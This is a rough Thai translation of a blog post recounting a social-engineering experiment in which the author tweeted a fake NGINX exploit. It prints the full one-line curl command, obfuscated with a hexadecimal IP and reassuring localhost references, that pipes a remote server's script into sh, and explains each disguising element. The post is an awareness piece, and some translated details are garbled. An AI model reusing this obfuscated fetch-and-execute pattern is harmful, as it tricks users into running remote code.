ความสำเร็จของการทดลองทางสังคมด้วยการใช้ประโยชน์จาก nginx ปลอม

บันทึก. แปล: ผู้เขียน บันทึกต้นฉบับซึ่งเผยแพร่เมื่อวันที่ 1 มิถุนายนได้ตัดสินใจทำการทดลองกับผู้ที่สนใจด้านความปลอดภัยของข้อมูล ในการทำเช่นนี้ เขาได้เตรียมการหาประโยชน์ปลอมสำหรับช่องโหว่ที่ไม่เปิดเผยบนเว็บเซิร์ฟเวอร์และโพสต์ไว้บน Twitter ของเขา สมมติฐานของเขา - ผู้เชี่ยวชาญที่จะเห็นการหลอกลวงที่ชัดเจนในโค้ดถูกเปิดเผยทันที - ไม่เพียงแต่ไม่เป็นจริง... พวกเขาเกินความคาดหมายทั้งหมดและในทิศทางตรงกันข้าม: ทวีตได้รับการสนับสนุนอย่างมากจากผู้คนจำนวนมากที่ไม่ ตรวจสอบเนื้อหา

TL; DR: อย่าใช้การไพพ์ไลน์ไฟล์ใน sh หรือ bash ไม่ว่าในกรณีใด ๆ นี่เป็นวิธีที่ดีในการสูญเสียการควบคุมคอมพิวเตอร์ของคุณ

ฉันต้องการแบ่งปันเรื่องสั้นกับคุณเกี่ยวกับการใช้ประโยชน์จาก PoC การ์ตูนที่สร้างขึ้นเมื่อวันที่ 31 พฤษภาคม เขาปรากฏตัวทันทีเพื่อตอบรับข่าวจาก อลิสา เอเซจ เชฟเชนโก้, สมาชิก ความคิดริเริ่ม Zero Day (ZDI) ข้อมูลเกี่ยวกับช่องโหว่ใน NGINX ที่นำไปสู่ ​​RCE (การเรียกใช้โค้ดจากระยะไกล) จะถูกเปิดเผยในไม่ช้า เนื่องจาก NGINX ขับเคลื่อนเว็บไซต์หลายแห่ง ข่าวดังกล่าวจึงต้องระเบิดอย่างรวดเร็ว แต่เนื่องจากความล่าช้าในกระบวนการ "การเปิดเผยอย่างรับผิดชอบ" จึงไม่ทราบรายละเอียดของสิ่งที่เกิดขึ้น - นี่เป็นขั้นตอนมาตรฐานของ ZDI

ทวีต เกี่ยวกับการเปิดเผยช่องโหว่ใน NGINX

หลังจากเสร็จสิ้นการทำงานกับเทคนิคการทำให้งงงวยแบบใหม่ในรูปแบบ Curl ฉันอ้างอิงทวีตต้นฉบับและ "ทำให้ PoC ที่ใช้งานได้รั่วไหลออกมา" ซึ่งประกอบด้วยโค้ดบรรทัดเดียวที่คาดว่าจะใช้ประโยชน์จากช่องโหว่ที่ค้นพบ แน่นอนว่านี่เป็นเรื่องไร้สาระโดยสิ้นเชิง ฉันคิดว่าฉันจะถูกเปิดเผยทันที และอย่างดีที่สุด ฉันจะได้รับการรีทวีตสองครั้ง (โอ้ เอาล่ะ)

ทวีต ด้วยการหาประโยชน์ปลอม

อย่างไรก็ตามฉันไม่สามารถจินตนาการได้ว่าเกิดอะไรขึ้นต่อไป ความนิยมในทวีตของฉันพุ่งสูงขึ้น น่าแปลกที่ในขณะนี้ (15 น. ตามเวลามอสโก 00 มิถุนายน) มีเพียงไม่กี่คนที่รู้ว่านี่เป็นของปลอม หลายๆ คนรีทวีตมันโดยไม่ได้ตรวจสอบเลย (ไม่ต้องพูดถึงการชื่นชมกราฟิก ASCII ที่น่ารักที่มันออกมาเลย)

แค่ดูว่ามันสวยงามแค่ไหน!

แม้ว่าการวนซ้ำและสีเหล่านี้จะยอดเยี่ยม แต่ก็ชัดเจนว่าผู้คนต้องเรียกใช้โค้ดบนเครื่องเพื่อดู โชคดีที่เบราว์เซอร์ทำงานในลักษณะเดียวกัน และเมื่อรวมกับความจริงที่ว่าฉันไม่ต้องการประสบปัญหาทางกฎหมาย โค้ดที่ฝังอยู่ในไซต์ของฉันก็แค่ทำการเรียกด้วยเสียงสะท้อนโดยไม่ต้องพยายามติดตั้งหรือรันโค้ดเพิ่มเติมใดๆ

พูดนอกเรื่องเล็กน้อย: เน็ตน่ากลัว, DNZฉันและคนอื่นๆ ในทีม อันธพาล เราได้เล่นกับวิธีต่างๆ มากมายเพื่อทำให้คำสั่ง curl สับสนมาระยะหนึ่งแล้ว เพราะมันเจ๋ง... และเราเป็นพวก geek มาก netspooky และ dnz ค้นพบวิธีการใหม่ๆ หลายวิธีที่ดูมีแนวโน้มดีสำหรับฉันอย่างยิ่ง ฉันเข้าร่วมสนุกและพยายามเพิ่มการแปลงทศนิยม IP ให้กับลูกเล่นต่างๆ ปรากฎว่า IP สามารถแปลงเป็นรูปแบบเลขฐานสิบหกได้ ยิ่งไปกว่านั้น เครื่องมือ curl และ NIX อื่นๆ ส่วนใหญ่กิน IP เลขฐานสิบหกอย่างมีความสุข! ดังนั้นจึงเป็นเพียงเรื่องของการสร้างบรรทัดคำสั่งที่ดูน่าเชื่อถือและดูปลอดภัยเท่านั้น ในที่สุดฉันก็ตัดสินใจเรื่องนี้:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

วิศวกรรมสังคมและอิเล็กทรอนิกส์ (S.E.E.) เป็นมากกว่าฟิชชิ่ง

ความปลอดภัยและความคุ้นเคยเป็นส่วนสำคัญของการทดลองนี้ ฉันคิดว่าสิ่งเหล่านี้คือสิ่งที่นำไปสู่ความสำเร็จของเขา บรรทัดคำสั่งบ่งบอกถึงความปลอดภัยอย่างชัดเจนโดยอ้างถึง "127.0.0.1" (localhost ที่รู้จักกันดี) Localhost ถือว่าปลอดภัยและข้อมูลในนั้นจะไม่ออกจากคอมพิวเตอร์ของคุณ

ความคุ้นเคยเป็นองค์ประกอบสำคัญประการที่สองของ S.E.E. ของการทดลอง เนื่องจากกลุ่มเป้าหมายส่วนใหญ่ประกอบด้วยผู้ที่คุ้นเคยกับพื้นฐานของการรักษาความปลอดภัยของคอมพิวเตอร์ การสร้างโค้ดจึงเป็นสิ่งสำคัญเพื่อให้บางส่วนของโค้ดดูคุ้นเคยและคุ้นเคย (และปลอดภัย) การยืมองค์ประกอบของแนวคิดการหาประโยชน์แบบเก่ามารวมเข้าด้วยกันในลักษณะที่ไม่ธรรมดาได้พิสูจน์แล้วว่าประสบความสำเร็จอย่างมาก

ด้านล่างนี้เป็นการวิเคราะห์โดยละเอียดของซับเดียว ทุกอย่างในรายการนี้สวมใส่ ธรรมชาติของเครื่องสำอางและในทางปฏิบัติแล้วไม่มีอะไรจำเป็นสำหรับการทำงานจริง

ส่วนประกอบอะไรที่จำเป็นจริงๆ? นี้ -gsS, -O 0x0238f06a, |sh และเว็บเซิร์ฟเวอร์เอง เว็บเซิร์ฟเวอร์ไม่มีคำแนะนำที่เป็นอันตราย แต่เพียงให้บริการกราฟิก ASCII โดยใช้คำสั่ง echo ในสคริปต์ที่มีอยู่ใน index.html. เมื่อผู้ใช้เข้าบรรทัดด้วย |sh ระหว่างกลาง, index.html โหลดและดำเนินการแล้ว โชคดีที่ผู้ดูแลเว็บเซิร์ฟเวอร์ไม่มีเจตนาร้าย

• ../../../%00 — หมายถึงการไปไกลกว่าไดเร็กทอรี;
• ngx_stream_module.so - เส้นทางไปยังโมดูล NGINX แบบสุ่ม
• /bin/sh%00<'protocol:TCP' - เรากำลังจะเปิดตัว /bin/sh บนเครื่องเป้าหมายและเปลี่ยนเส้นทางเอาต์พุตไปยังช่อง TCP
• -O 0x0238f06a#PLToffset -ส่วนผสมลับเสริม #PLToffsetเพื่อให้ดูเหมือนหน่วยความจำชดเชยที่มีอยู่ใน PLT
• |sh; - อีกส่วนที่สำคัญ เราจำเป็นต้องเปลี่ยนเส้นทางเอาต์พุตไปที่ sh/bash เพื่อรันโค้ดที่มาจากเว็บเซิร์ฟเวอร์ที่ถูกโจมตีซึ่งอยู่ที่ 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost - หุ่นจำลองที่ netcat อ้างถึง /dev/tcp/localhostเพื่อให้ทุกอย่างดูปลอดภัยอีกครั้ง ในความเป็นจริงมันไม่ได้ทำอะไรเลยและรวมอยู่ในกลุ่มผลิตภัณฑ์เพื่อความงาม

นี่เป็นการสรุปการถอดรหัสสคริปต์บรรทัดเดียวและการอภิปรายแง่มุมต่างๆ ของ "วิศวกรรมสังคมอิเล็กทรอนิกส์" (ฟิชชิ่งที่ซับซ้อน)

การกำหนดค่าเว็บเซิร์ฟเวอร์และมาตรการรับมือ

เนื่องจากสมาชิกส่วนใหญ่ของฉันคือ infosec/แฮ็กเกอร์ ฉันจึงตัดสินใจทำให้เว็บเซิร์ฟเวอร์ต้านทานการแสดงออกถึง "ความสนใจ" ในส่วนของพวกเขามากขึ้นอีกเล็กน้อย เพียงเพื่อที่พวกเขาจะได้ทำอะไรสักอย่าง (และคงจะสนุกดี ติดตั้ง). ฉันจะไม่แสดงรายการข้อผิดพลาดทั้งหมดที่นี่เนื่องจากการทดสอบยังดำเนินอยู่ แต่นี่คือบางสิ่งที่เซิร์ฟเวอร์ทำ:

• ติดตามความพยายามในการเผยแพร่บนโซเชียลเน็ตเวิร์กบางแห่งและแทนที่ภาพขนาดย่อตัวอย่างต่างๆ เพื่อกระตุ้นให้ผู้ใช้คลิกลิงก์
• เปลี่ยนเส้นทาง Chrome/Mozilla/Safari/etc ไปยังวิดีโอโปรโมต Thugcrowd แทนที่จะแสดงเชลล์สคริปต์
• เฝ้าดูสัญญาณที่ชัดเจนของการบุกรุก/การแฮ็กอย่างโจ่งแจ้ง จากนั้นเริ่มเปลี่ยนเส้นทางคำขอไปยังเซิร์ฟเวอร์ NSA (ฮ่า!)
• ติดตั้งโทรจันและรูทคิท BIOS บนคอมพิวเตอร์ทุกเครื่องที่ผู้ใช้เยี่ยมชมโฮสต์จากเบราว์เซอร์ทั่วไป (ล้อเล่น!)

แอนติเมอร์ส่วนเล็กๆ

ในกรณีนี้ เป้าหมายเดียวของฉันคือการฝึกฝนคุณสมบัติบางอย่างของ Apache โดยเฉพาะกฎเจ๋งๆ ในการเปลี่ยนเส้นทางคำขอ และฉันก็คิดว่า: ทำไมจะไม่ได้ล่ะ

การหาประโยชน์จาก NGINX (จริง!)

สมัครสมาชิกเพื่อ @alisaesage บน Twitter และติดตามผลงานที่ยอดเยี่ยมของ ZDI ในการจัดการกับช่องโหว่ที่แท้จริงและใช้ประโยชน์จากโอกาสใน NGINX งานของพวกเขาทำให้ฉันทึ่งเสมอ และฉันรู้สึกขอบคุณอลิซสำหรับความอดทนของเธอกับการกล่าวถึงและการแจ้งเตือนทั้งหมดที่ทวีตโง่ ๆ ของฉันเกิดขึ้น โชคดีที่มันได้ผลดีเช่นกัน โดยช่วยสร้างความตระหนักถึงช่องโหว่ของ NGINX รวมถึงปัญหาที่เกิดจากการใช้ Curl ในทางที่ผิด

ที่มา: will.com